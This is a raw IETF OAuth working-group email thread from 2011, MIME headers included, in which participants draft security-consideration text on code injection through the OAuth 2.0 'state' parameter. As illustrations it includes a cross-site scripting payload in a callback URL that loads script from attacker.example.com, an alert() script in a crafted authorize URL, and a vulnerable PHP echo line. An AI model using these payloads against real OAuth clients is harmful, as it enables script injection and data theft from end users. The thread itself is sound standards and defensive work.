Return-Path: <aiden449@gmail.com>
X-Original-To: oauth@ietfa.amsl.com
Delivered-To: oauth@ietfa.amsl.com
Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix)
 with ESMTP id 0F30D21F8B2D for <oauth@ietfa.amsl.com>;
 Mon, 25 Jul 2011 02:37:44 -0700 (PDT)
X-Virus-Scanned: amavisd-new at amsl.com
X-Spam-Flag: NO
X-Spam-Score: -2.137
X-Spam-Level: 
X-Spam-Status: No, score=-2.137 tagged_above=-999 required=5 tests=[AWL=-0.674,
 BAYES_00=-2.599, FRT_STRONG2=1.535, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6,
 RCVD_IN_DNSWL_LOW=-1]
Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com
 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZbUet82PXJTy for
 <oauth@ietfa.amsl.com>; Mon, 25 Jul 2011 02:37:42 -0700 (PDT)
Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com
 [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id A51F921F8B2C for
 <oauth@ietf.org>; Mon, 25 Jul 2011 02:37:41 -0700 (PDT)
Received: by qwc23 with SMTP id 23so3041646qwc.31 for <oauth@ietf.org>;
 Mon, 25 Jul 2011 02:37:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
 h=mime-version:in-reply-to:references:date:message-id:subject:from:to
 :cc:content-type; bh=w8jSdksTr68GgxOvXNmmQMmosS2VMvKXWFNsbEnpwAg=;
 b=riKeB9nvkXzgB6jinhRm3gwqElEPFer4lnsJnt9AR/FAKQsnRQJAByeKEVVcLCbkmY
 XcVnphdSl/LVhm+5i9oSPJlHKYW1ogIGApNxilgI/02P/DccvkXfdBmQRhhtoFN7xVf3
 1FhJCxCTO2imvwdZvyU32CobbjfxIJKS2hHkk=
MIME-Version: 1.0
Received: by 10.229.59.68 with SMTP id k4mr3158787qch.237.1311586659771;
 Mon, 25 Jul 2011 02:37:39 -0700 (PDT)
Received: by 10.229.14.42 with HTTP; Mon, 25 Jul 2011 02:37:39 -0700 (PDT)
In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET>
References: <CADrOfLJSd8Z=QfCcGUdFBU314rmjv9-u25Vta+ObXfNAwoA06w@mail.gmail.com>
 <4E22B021.7080009@cisco.com>
 <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET>
 <CAGHdeD711qcuZiJ6C8miMNfTW1iDTvqG1KKrEZrWsM2Mxxs3WA@mail.gmail.com>
 <CADrOfLJd7jtfJGBwxaX1bQHN-Ow=T-kGLTgOWw0rR1cYGCpzog@mail.gmail.com>
 <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET>
 <CADrOfLJLe_JdGZTWdSGLvXySbh==3oNuYJHQRPWL+RsN9b6AAA@mail.gmail.com>
 <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET>
 <CA+5SmTVi7z=sGc1+6q0FhiAsRpssDYqciH6KoPf_ukgcTHBmWg@mail.gmail.com>
 <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET>
 <CA+5SmTXa8cgX23E_TNT07fYREqPqZXwiMEhu+-bG+Ekf03kzTQ@mail.gmail.com>
 <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET>
Date: Mon, 25 Jul 2011 10:37:39 +0100
Message-ID: <CA+5SmTXe7=U=xa3n0t6MOGKE1uX=0zSk58FMMJUoPXBqTYbCdg@mail.gmail.com>
From: Aiden Bell <aiden449@gmail.com>
To: Eran Hammer-Lahav <eran@hueniverse.com>
Content-Type: multipart/alternative; boundary=0016e64dda1af2a65504a8e190a1
Cc: OAuth WG <oauth@ietf.org>
Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
X-BeenThere: oauth@ietf.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: OAUTH WG <oauth.ietf.org>
List-Unsubscribe: <https://www.ietf.org/mailman/options/oauth>,
 <mailto:oauth-request@ietf.org?subject=unsubscribe>
List-Archive: <http://www.ietf.org/mail-archive/web/oauth>
List-Post: <mailto:oauth@ietf.org>
List-Help: <mailto:oauth-request@ietf.org?subject=help>
List-Subscribe: <https://www.ietf.org/mailman/listinfo/oauth>,
 <mailto:oauth-request@ietf.org?subject=subscribe>
X-List-Received-Date: Mon, 25 Jul 2011 09:37:44 -0000

--0016e64dda1af2a65504a8e190a1
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

Sounds good Eran

On 25 July 2011 07:37, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

> This seems too verbose, considering how fundamental input validation is i=
n
> general.****
>
> ** **
>
> I added the following to a new section:****
>
> ** **
>
>           A code injection attack occurs when an input or otherwise
> external variable is used by an****
>
>           application in which that input can cause modification of the
> application logic when used****
>
>           unsanitized. This may allow an attacker to gain access to the
> application device or its****
>
>           data, cause denial of service, or a wide range of malicious
> side-effects.****
>
>         </t>****
>
>         <t>****
>
>           The Authorization server and client MUST validate and sanitize
> any value received, and in****
>
>           particular, the value of the =91state=92 and =91redirect_uri=92
> parameters.****
>
> ** **
>
> EHL****
>
> ** **
>
> ** **
>
> ** **
>
> *From:* oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] *On Behalf
> Of *Aiden Bell
> *Sent:* Wednesday, July 20, 2011 12:04 PM
> *To:* OAuth WG
>
> *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter****
>
> ** **
>
> See below for revision, tried to follow the "introduction, recommendation=
,
> example"
> structure in 10.12 "Cross-site Request Forgery" and shorten my text.
>
> I'm strugging to make it clear that any internal modification to the
> 'state' parameter
> must not affect the re-transmitted value of 'state' in Authorization
> Response / Error
> Response when it originates from the authorisation server.
>
> ---****
>
>
> Security Consideration: Code Injection Attacks****
>
> Code injection attacks are when an input or otherwise external variable i=
s
> used within
> an application where that input can cause modification of application log=
ic
> when unsanitised. This may allow an attacker to gain access to client or
> user data,
> cause Denial of Service or a wide range of malicious side-effects.****
>
>
>
> Incorrect validation or sanitation of the 'state' parameter from section
> 4.1.2 could lead to code
> injection. Both client and server SHOULD ensure that the "state" paramete=
r
> described****
>
> in section 4.1.2 is correctly sanitised for internal processing, storage =
or
> output outside the
> scope of the OAuth protocol.
>
> Failure to correctly sanitise the 'state' parameter can cause code
> injection attacks even if a
> cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] i=
s
> used.
>
> As an example, a malicious person may create a fake Error Response as
> described in section
> 4.1.2.1 containing a maliciously crafted state parameter. The following
> request would be sent to
> the client:
>
>
> https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t=
ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%=
2Fmalicious.js%22%20%2F%3E
>
> Insecure transfer of the decoded value into the HTML buffer of the client
> application
> may result in the injection of code into the user agent of the end user,
> possibly compromising data.
> This example attack can be mitigated by sanitising the 'state' parameter =
to
> remove or escape HTML
> syntax before interpolation of the value into server output to the user
> agent.
>
> --end--****
>
> On 20 July 2011 19:40, Eran Hammer-Lahav <eran@hueniverse.com> wrote:****
>
> Take a look at how the other sections in the draft setup the premise firs=
t
> and give a quick explanation of the attack=85****
>
>  ****
>
> EHL****
>
>  ****
>
> *From:* Aiden Bell [mailto:aiden449@gmail.com]
> *Sent:* Wednesday, July 20, 2011 11:38 AM
> *To:* Eran Hammer-Lahav; OAuth WG****
>
>
> *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter****
>
>  ****
>
> Been following this discussion
>
> I'll propose some text, though it seems to me it is getting into the real=
m
> of "Don't trust inputs"
>
> It is also worth noting that signing the request using something like the
> HMAC extension elevates any
> problems where you DO need to evaluate the state parameter in some way
> where the evaluation process
> is too complex to secure (DSLs and languages in state, which is really ug=
ly
> but, someone may do it).
>
> Really though, just seems like general application security advice rather
> than OAuth specific
>
> Security Consideration: Code Injection Attacks
>
> Incorrect validation or sanitation of the 'state' parameter from section
> 4.1.2 could lead to code
> injection.
>
> Both client and server SHOULD ensure that the "state" parameter described
> in section 4.1.2 is correctly validated, escaped or sanitised prior to
> processing for their application's
> requirements. Modifications, for security or otherwise to the 'state'
> variable contained in the Authorization Request by the
> authorization server will not be transmitted to the client in the
> Authorization Response or Error Response
> as the response 'state' value MUST be identical to the value in the
> request.
>
> If the 'state' parameter passed between client and server contains a valu=
e
> which is interpreted or
> otherwise placed into a context that requires evaluation of the unmodifie=
d
> value then a cryptographic
> scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be use=
d
> to verify request authenticity.
> It should be noted however than a cryptographically authentic request may
> still contain malicious
> code if the client or server integrity can not be established and trusted=
.
>
> As an example, a malicious person may create a fake Error Response as
> described in section
> 4.1.2.1 containing a maliciously crafted state parameter. The following
> request would be sent to
> the client:
>
>
> https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t=
ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%=
2Fmalicious.js%22%20%2F%3E
>
> Insecure transfer of the decoded value into the HTML buffer of the client
> application
> may result in the injection of code into the user agent of the end user,
> possibly compromising data.
> This example attack can be mitigated by sanitising the 'state' parameter =
to
> remove or escape HTML
> syntax before interpolation of the value into server output to the user
> agent.
>
> --end--
>
> Not claiming it is good, well written or concise ... but it is proposed.
> Even if it is rejected, feedback
> would be appreciated.
>
> Thanks,
> Aiden****
>
> On 20 July 2011 18:36, Eran Hammer-Lahav <eran@hueniverse.com> wrote:****
>
> I think most of your description isn't very relevant to this particular
> attack. I'll skip to the part where the legitimate client gets a maliciou=
sly
> modified state parameter value.
>
> Your concern seems to be a simple code injection attack (e.g. that some
> clients will not properly protect their code from invalid state values). =
For
> example, a client may use state to pass a JSON string and when it receive=
s
> it back, calls eval() on the raw state value or even JSON.parse without
> catching exceptions.
>
> The right way to address this is to add a new security consideration
> section discussion the various Injection Attacks possible. Using state to
> include malicious code is one. Another is code injection in the redirect_=
uri
> by a malicious client to an authorization server supporting dynamic
> redirection URIs.
>
> Then of course, there really is no need for any elaborate setup for anyon=
e
> to send requests to the client redirection URI endpoint directly (without
> following any of the flow). In such a case, the enforcement of safe state
> values by the authorization server will accomplish nothing if the client
> doesn't perform its own validation (and we're back to square one). In oth=
er
> words, I can call any endpoint on the client with any malicious parameter=
s
> and try to break it.
>
> But even if you perform input validation on the client side, which should
> prevent a code injection attack, you are still open to other malicious
> manipulation of the state parameter. For example, a na=EFve client can us=
e the
> state parameter to pass a user id so that when the redirection callback i=
s
> called, it can link the access token to that account. That of course, wou=
ld
> be a very bad thing (tm) without some protection (e.g. state cookie) whic=
h
> the client can use to validate the state value.
>
> In short, over specification does not solve ignorance. We can and should
> highlight the possible code injection attacks on both the client and
> authorization server, as well as other security concerns around the state
> parameter. But at the end, it is up to both the client and authorization
> server developers to build secure applications.
>
> So, anyone volunteering to propose text?****
>
>
> EHL
>
>
> > -----Original Message-----
> > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of
> > Bob Van Zant****
>
> > Sent: Wednesday, July 20, 2011 9:29 AM
> > To: Eran Hammer-Lahav
> > Cc: Breno; OAuth WG****
>
> > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> >
> > The problem lies in the inherent trust of the state parameter. The naiv=
e
> > client application developer assumes that state goes out to the
> authorization
> > server and comes back unchanged; because that's what the spec says will
> > happen.
> >
> > As a malicious person I use the client application and steal the client
> id when
> > I'm redirected to the authorization server.
> >
> > I then craft my own authorization URL pretending to act on behalf of th=
e
> > client application.
> >
> > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=
=3D
> > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E
> >
> > I send that out to unsuspecting people. Those people are sent to my sit=
e;
> > maybe they trust it. The site is asking them to authorize an applicatio=
n
> they
> > perhaps they're familiar with. So they do.
> >
> > Now the assumption, and it's really not much of a leap of faith, is tha=
t
> some
> > client developer is going to take that state variable and put it direct=
ly
> into
> > their site. In PHP it could be something silly
> > like:
> >
> >     Thanks for authorizing our app, $_GET["state"].
> >
> > Chrome protects me from this basic attack (I just inserted it into one =
of
> my
> > demos): Refused to execute a JavaScript script. Source code of script
> found
> > within request. Other browsers won't. Real attackers are more creative
> than
> > me.
> >
> > -Bob
> >
> >
> >
> >
> >
> > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> > <eran@hueniverse.com> wrote:
> > > Can you provide examples of bad values and how they make the
> > implementation less secure? What's the attack vector here?
> > >
> > > EHL
> > >
> > >> -----Original Message-----
> > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf
> > Of
> > >> Bob Van Zant
> > >> Sent: Wednesday, July 20, 2011 9:10 AM
> > >> To: Breno; Eran Hammer-Lahav
> > >> Cc: OAuth WG
> > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> > >>
> > >> I think somewhere in here my original comments got lost. The spec, a=
s
> > >> written, provides no limitations on what can go in the state variabl=
e.
> > >> If we don't define those limitations in the spec implementors are
> > >> going to define their own limitations (I'm on the verge of doing it
> myself).
> > >>
> > >> I propose that the state variable be limited to the set of character=
s
> > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150
> characters.
> > >> It's simple, doesn't require URL encoding, and will be hard for a
> > >> client application to turn into a vulnerability. It provides plenty
> > >> of uniqueness (it can fit a sha512) for even the largest and most us=
ed
> > client applications.
> > >>
> > >> -Bob
> > >>
> > >>
> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <breno.demedeiros@gmail.com>
> > >> wrote:
> > >> >
> > >> >
> > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> > >> > <eran@hueniverse.com>
> > >> > wrote:
> > >> >>
> > >> >>
> > >> >> > -----Original Message-----
> > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> > >> >> > Behalf Of Eliot Lear
> > >> >> > Sent: Sunday, July 17, 2011 2:49 AM
> > >> >>
> > >> >> > One other point: if the redirection_uri can have fragments and
> > >> >> > can be provided, why is state necessary?
> > >> >>
> > >> >> First, I assume you mean query instead of fragment.
> > >> >>
> > >> >> This was discussed on the list about a year ago. There isn't a
> > >> >> requirement to support both dynamic redirection URIs as well as a
> > >> >> special state parameter. However, the state parameter provides a
> > >> >> better way to allow customization of the redirection request
> > >> >> alongside full registration of the redirection URI. Section 3.1.2
> > >> >> recommends using the state parameter over changing the redirectio=
n
> > >> >> URI
> > >> itself.
> > >> >>
> > >> >> Using state is much simpler because the authorization server does
> > >> >> not have to implement potentially insecure URI comparison
> > >> >> algorithms for dynamic redirection URIs.
> > >> >
> > >> > Agree -- for instance, Google's provider doesn't allow arbitrary
> > >> > dynamic specification of query or fragment parameters in redirect
> > >> > URIs, for instance, due largely to security considerations.
> > >> >
> > >> >>
> > >> >> EHL
> > >> >> _______________________________________________
> > >> >> OAuth mailing list
> > >> >> OAuth@ietf.org
> > >> >> https://www.ietf.org/mailman/listinfo/oauth
> > >> >
> > >> >
> > >> >
> > >> > --
> > >> > Breno de Medeiros
> > >> >
> > >> >
> > >
> _______________________________________________
> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth****
>
>
>
>
> --
> ------------------------------------------------------------------
> Never send sensitive or private information via email unless it is
> encrypted. http://www.gnupg.org****
>
>
>
>
> --
> ------------------------------------------------------------------
> Never send sensitive or private information via email unless it is
> encrypted. http://www.gnupg.org****
>



--=20
------------------------------------------------------------------
Never send sensitive or private information via email unless it is
encrypted. http://www.gnupg.org

--0016e64dda1af2a65504a8e190a1
Content-Type: text/html; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

Sounds good Eran<br><br><div class=3D"gmail_quote">On 25 July 2011 07:37, E=
ran Hammer-Lahav <span dir=3D"ltr">&lt;<a href=3D"mailto:eran@hueniverse.co=
m">eran@hueniverse.com</a>&gt;</span> wrote:<br><blockquote class=3D"gmail_=
quote" style=3D"margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1=
ex;">

<div link=3D"blue" vlink=3D"purple" lang=3D"EN-US"><div><p class=3D"MsoNorm=
al"><span style=3D"font-size:11.0pt;color:#1F497D">This seems too verbose, =
considering how fundamental input validation is in general.<u></u><u></u></=
span></p>
<p class=3D"MsoNormal"><span style=3D"font-size:11.0pt;color:#1F497D"><u></=
u>=A0<u></u></span></p><p class=3D"MsoNormal"><span style=3D"font-size:11.0=
pt;color:#1F497D">I added the following to a new section:<u></u><u></u></sp=
an></p>
<p class=3D"MsoNormal"><span style=3D"font-size:11.0pt;color:#1F497D"><u></=
u>=A0<u></u></span></p><p class=3D"MsoNormal" style=3D"text-autospace:none"=
><span style=3D"font-size:9.5pt;font-family:Consolas">=A0=A0=A0=A0=A0=A0=A0=
=A0=A0 A code injection attack occurs when an input or otherwise external v=
ariable is used by an<u></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas">=A0=A0 =A0=A0=A0=A0=A0=A0=A0application in w=
hich that input can cause modification of the application logic when used<u=
></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas">=A0=A0=A0=A0=A0=A0=A0=A0=A0 unsanitized. Thi=
s may allow an attacker to gain access to the application device or its<u><=
/u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas">=A0=A0=A0=A0=A0=A0=A0=A0=A0 data, cause deni=
al of service, or a wide range of malicious side-effects.<u></u><u></u></sp=
an></p><p class=3D"MsoNormal" style=3D"text-autospace:none">
<span style=3D"font-size:9.5pt;font-family:Consolas;color:blue">=A0=A0=A0=
=A0=A0=A0=A0 &lt;/</span><span style=3D"font-size:9.5pt;font-family:Consola=
s;color:#A31515">t</span><span style=3D"font-size:9.5pt;font-family:Consola=
s;color:blue">&gt;</span><span style=3D"font-size:9.5pt;font-family:Consola=
s"><u></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas;color:blue">=A0=A0=A0=A0=A0=A0=A0 &lt;</span>=
<span style=3D"font-size:9.5pt;font-family:Consolas;color:#A31515">t</span>=
<span style=3D"font-size:9.5pt;font-family:Consolas;color:blue">&gt;</span>=
<span style=3D"font-size:9.5pt;font-family:Consolas"><u></u><u></u></span><=
/p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas">=A0=A0=A0=A0=A0=A0=A0=A0=A0 The Authorizatio=
n server and client MUST validate and sanitize any value received, and in<u=
></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas">=A0=A0=A0=A0=A0=A0=A0=A0=A0 particular, the =
value of the <span style=3D"color:blue">=91</span>state=92 and =91redirect_=
uri=92 parameters.<u></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas"><u></u>=A0<u></u></span></p><p class=3D"MsoN=
ormal" style=3D"text-autospace:none"><span style=3D"font-size:9.5pt;font-fa=
mily:Consolas">EHL<u></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"text-autospace:none"><span style=3D"font-si=
ze:9.5pt;font-family:Consolas"><u></u>=A0<u></u></span></p><p class=3D"MsoN=
ormal"><span style=3D"font-size:11.0pt;color:#1F497D"><u></u>=A0<u></u></sp=
an></p><p class=3D"MsoNormal">
<span style=3D"font-size:11.0pt;color:#1F497D"><u></u>=A0<u></u></span></p>=
<div style=3D"border:none;border-left:solid blue 1.5pt;padding:0in 0in 0in =
4.0pt"><div><div style=3D"border:none;border-top:solid #B5C4DF 1.0pt;paddin=
g:3.0pt 0in 0in 0in">
<p class=3D"MsoNormal"><b><span style=3D"font-size:10.0pt">From:</span></b>=
<span style=3D"font-size:10.0pt"> <a href=3D"mailto:oauth-bounces@ietf.org"=
 target=3D"_blank">oauth-bounces@ietf.org</a> [mailto:<a href=3D"mailto:oau=
th-bounces@ietf.org" target=3D"_blank">oauth-bounces@ietf.org</a>] <b>On Be=
half Of </b>Aiden Bell<br>
<b>Sent:</b> Wednesday, July 20, 2011 12:04 PM<br><b>To:</b> OAuth WG</span=
></p><div><div></div><div class=3D"h5"><br><b>Subject:</b> Re: [OAUTH-WG] O=
Auth v2-18 comment on &quot;state&quot; parameter<u></u><u></u></div></div>
<p></p></div></div><div><div></div><div class=3D"h5"><p class=3D"MsoNormal"=
><u></u>=A0<u></u></p><p class=3D"MsoNormal">See below for revision, tried =
to follow the &quot;introduction, recommendation, example&quot;<br>structur=
e in 10.12 &quot;Cross-site Request Forgery&quot; and shorten my text.<br>
<br>I&#39;m strugging to make it clear that any internal modification to th=
e &#39;state&#39; parameter<br>must not affect the re-transmitted value of =
&#39;state&#39; in Authorization Response / Error<br>Response when it origi=
nates from the authorisation server.<br>
<br>---<u></u><u></u></p><div><p class=3D"MsoNormal" style=3D"margin-bottom=
:12.0pt"><br>Security Consideration: Code Injection Attacks<u></u><u></u></=
p></div><p class=3D"MsoNormal">Code injection attacks are when an input or =
otherwise external variable is used within<br>
an application where that input can cause modification of application logic=
<br>when unsanitised. This may allow an attacker to gain access to client o=
r user data,<br>cause Denial of Service or a wide range of malicious side-e=
ffects.<u></u><u></u></p>
<div><p class=3D"MsoNormal"><br><br>Incorrect validation or sanitation of t=
he &#39;state&#39; parameter from section 4.1.2 could lead to code<br>injec=
tion. Both client and server SHOULD ensure that the &quot;state&quot; param=
eter described<u></u><u></u></p>
</div><p class=3D"MsoNormal" style=3D"margin-bottom:12.0pt">in section 4.1.=
2 is correctly sanitised for internal processing, storage or output outside=
 the<br>scope of the OAuth protocol. <br><br>Failure to correctly sanitise =
the &#39;state&#39; parameter can cause code injection attacks even if a<br=
>
cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is =
used.<br><br>As an example, a malicious person may create a fake Error Resp=
onse as described in section<br>4.1.2.1 containing a maliciously crafted st=
ate parameter. The following request would be sent to<br>
the client:<br><br>=A0<a href=3D"https://client.example.com/cb?error=3Dacce=
ss_denied&amp;state=3D%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%2=
2http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E" target=3D"_b=
lank">https://client.example.com/cb?error=3Daccess_denied&amp;state=3D%3Csc=
ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam=
ple.com%2Fmalicious.js%22%20%2F%3E</a><br>
<br>Insecure transfer of the decoded value into the HTML buffer of the clie=
nt application<br>may result in the injection of code into the user agent o=
f the end user, possibly compromising data. <br>This example attack can be =
mitigated by sanitising the &#39;state&#39; parameter to remove or escape H=
TML<br>
syntax before interpolation of the value into server output to the user age=
nt.<br><br>--end--<u></u><u></u></p><div><p class=3D"MsoNormal">On 20 July =
2011 19:40, Eran Hammer-Lahav &lt;<a href=3D"mailto:eran@hueniverse.com" ta=
rget=3D"_blank">eran@hueniverse.com</a>&gt; wrote:<u></u><u></u></p>
<div><div><p class=3D"MsoNormal"><span style=3D"font-size:11.0pt;color:#1F4=
97D">Take a look at how the other sections in the draft setup the premise f=
irst and give a quick explanation of the attack=85</span><u></u><u></u></p>=
<p class=3D"MsoNormal">
<span style=3D"font-size:11.0pt;color:#1F497D">=A0</span><u></u><u></u></p>=
<p class=3D"MsoNormal"><span style=3D"font-size:11.0pt;color:#1F497D">EHL</=
span><u></u><u></u></p><p class=3D"MsoNormal"><span style=3D"font-size:11.0=
pt;color:#1F497D">=A0</span><u></u><u></u></p>
<div style=3D"border:none;border-left:solid blue 1.5pt;padding:0in 0in 0in =
4.0pt"><div><div style=3D"border:none;border-top:solid #B5C4DF 1.0pt;paddin=
g:3.0pt 0in 0in 0in"><p class=3D"MsoNormal"><b><span style=3D"font-size:10.=
0pt">From:</span></b><span style=3D"font-size:10.0pt"> Aiden Bell [mailto:<=
a href=3D"mailto:aiden449@gmail.com" target=3D"_blank">aiden449@gmail.com</=
a>] <br>
<b>Sent:</b> Wednesday, July 20, 2011 11:38 AM<br><b>To:</b> Eran Hammer-La=
hav; OAuth WG</span><u></u><u></u></p><div><div><p class=3D"MsoNormal"><br>=
<b>Subject:</b> Re: [OAUTH-WG] OAuth v2-18 comment on &quot;state&quot; par=
ameter<u></u><u></u></p>
</div></div></div></div><div><div><p class=3D"MsoNormal">=A0<u></u><u></u><=
/p><p class=3D"MsoNormal" style=3D"margin-bottom:12.0pt">Been following thi=
s discussion<br><br>I&#39;ll propose some text, though it seems to me it is=
 getting into the realm of &quot;Don&#39;t trust inputs&quot;<br>
<br>It is also worth noting that signing the request using something like t=
he HMAC extension elevates any<br>problems where you DO need to evaluate th=
e state parameter in some way where the evaluation process<br>is too comple=
x to secure (DSLs and languages in state, which is really ugly but, someone=
 may do it). <br>
<br>Really though, just seems like general application security advice rath=
er than OAuth specific<br><br>Security Consideration: Code Injection Attack=
s<br><br>Incorrect validation or sanitation of the &#39;state&#39; paramete=
r from section 4.1.2 could lead to code<br>
injection.<br><br>Both client and server SHOULD ensure that the &quot;state=
&quot; parameter described<br>in section 4.1.2 is correctly validated, esca=
ped or sanitised prior to processing for their application&#39;s<br>require=
ments. Modifications, for security or otherwise to the &#39;state&#39; vari=
able contained in the Authorization Request by the<br>
authorization server will not be transmitted to the client in the Authoriza=
tion Response or Error Response<br>as the response &#39;state&#39; value MU=
ST be identical to the value in the request.<br><br>If the &#39;state&#39; =
parameter passed between client and server contains a value which is interp=
reted or<br>
otherwise placed into a context that requires evaluation of the unmodified =
value then a cryptographic<br>scheme such as that defined in [I-D.ietf-oaut=
h-v2-http-mac] should be used to verify request authenticity.<br>It should =
be noted however than a cryptographically authentic request may still conta=
in malicious<br>
code if the client or server integrity can not be established and trusted.<=
br><br>As an example, a malicious person may create a fake Error Response a=
s described in section<br>4.1.2.1 containing a maliciously crafted state pa=
rameter. The following request would be sent to<br>
the client:<br><br>=A0<a href=3D"https://client.example.com/cb?error=3Dacce=
ss_denied&amp;state=3D%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%2=
2http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E" target=3D"_b=
lank">https://client.example.com/cb?error=3Daccess_denied&amp;state=3D%3Csc=
ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam=
ple.com%2Fmalicious.js%22%20%2F%3E</a><br>
<br>Insecure transfer of the decoded value into the HTML buffer of the clie=
nt application<br>may result in the injection of code into the user agent o=
f the end user, possibly compromising data. <br>This example attack can be =
mitigated by sanitising the &#39;state&#39; parameter to remove or escape H=
TML<br>
syntax before interpolation of the value into server output to the user age=
nt.<br><br>--end--<br><br>Not claiming it is good, well written or concise =
... but it is proposed. Even if it is rejected, feedback<br>would be apprec=
iated.<br>
<br>Thanks,<br>Aiden<u></u><u></u></p><div><p class=3D"MsoNormal">On 20 Jul=
y 2011 18:36, Eran Hammer-Lahav &lt;<a href=3D"mailto:eran@hueniverse.com" =
target=3D"_blank">eran@hueniverse.com</a>&gt; wrote:<u></u><u></u></p><p cl=
ass=3D"MsoNormal">
I think most of your description isn&#39;t very relevant to this particular=
 attack. I&#39;ll skip to the part where the legitimate client gets a malic=
iously modified state parameter value.<br><br>Your concern seems to be a si=
mple code injection attack (e.g. that some clients will not properly protec=
t their code from invalid state values). For example, a client may use stat=
e to pass a JSON string and when it receives it back, calls eval() on the r=
aw state value or even JSON.parse without catching exceptions.<br>
<br>The right way to address this is to add a new security consideration se=
ction discussion the various Injection Attacks possible. Using state to inc=
lude malicious code is one. Another is code injection in the redirect_uri b=
y a malicious client to an authorization server supporting dynamic redirect=
ion URIs.<br>
<br>Then of course, there really is no need for any elaborate setup for any=
one to send requests to the client redirection URI endpoint directly (witho=
ut following any of the flow). In such a case, the enforcement of safe stat=
e values by the authorization server will accomplish nothing if the client =
doesn&#39;t perform its own validation (and we&#39;re back to square one). =
In other words, I can call any endpoint on the client with any malicious pa=
rameters and try to break it.<br>
<br>But even if you perform input validation on the client side, which shou=
ld prevent a code injection attack, you are still open to other malicious m=
anipulation of the state parameter. For example, a na=EFve client can use t=
he state parameter to pass a user id so that when the redirection callback =
is called, it can link the access token to that account. That of course, wo=
uld be a very bad thing (tm) without some protection (e.g. state cookie) wh=
ich the client can use to validate the state value.<br>
<br>In short, over specification does not solve ignorance. We can and shoul=
d highlight the possible code injection attacks on both the client and auth=
orization server, as well as other security concerns around the state param=
eter. But at the end, it is up to both the client and authorization server =
developers to build secure applications.<br>
<br>So, anyone volunteering to propose text?<u></u><u></u></p><div><p class=
=3D"MsoNormal"><br>EHL<br><br><br>&gt; -----Original Message-----<br>&gt; F=
rom: <a href=3D"mailto:bigbadbob0@gmail.com" target=3D"_blank">bigbadbob0@g=
mail.com</a> [mailto:<a href=3D"mailto:bigbadbob0@gmail.com" target=3D"_bla=
nk">bigbadbob0@gmail.com</a>] On Behalf Of<br>
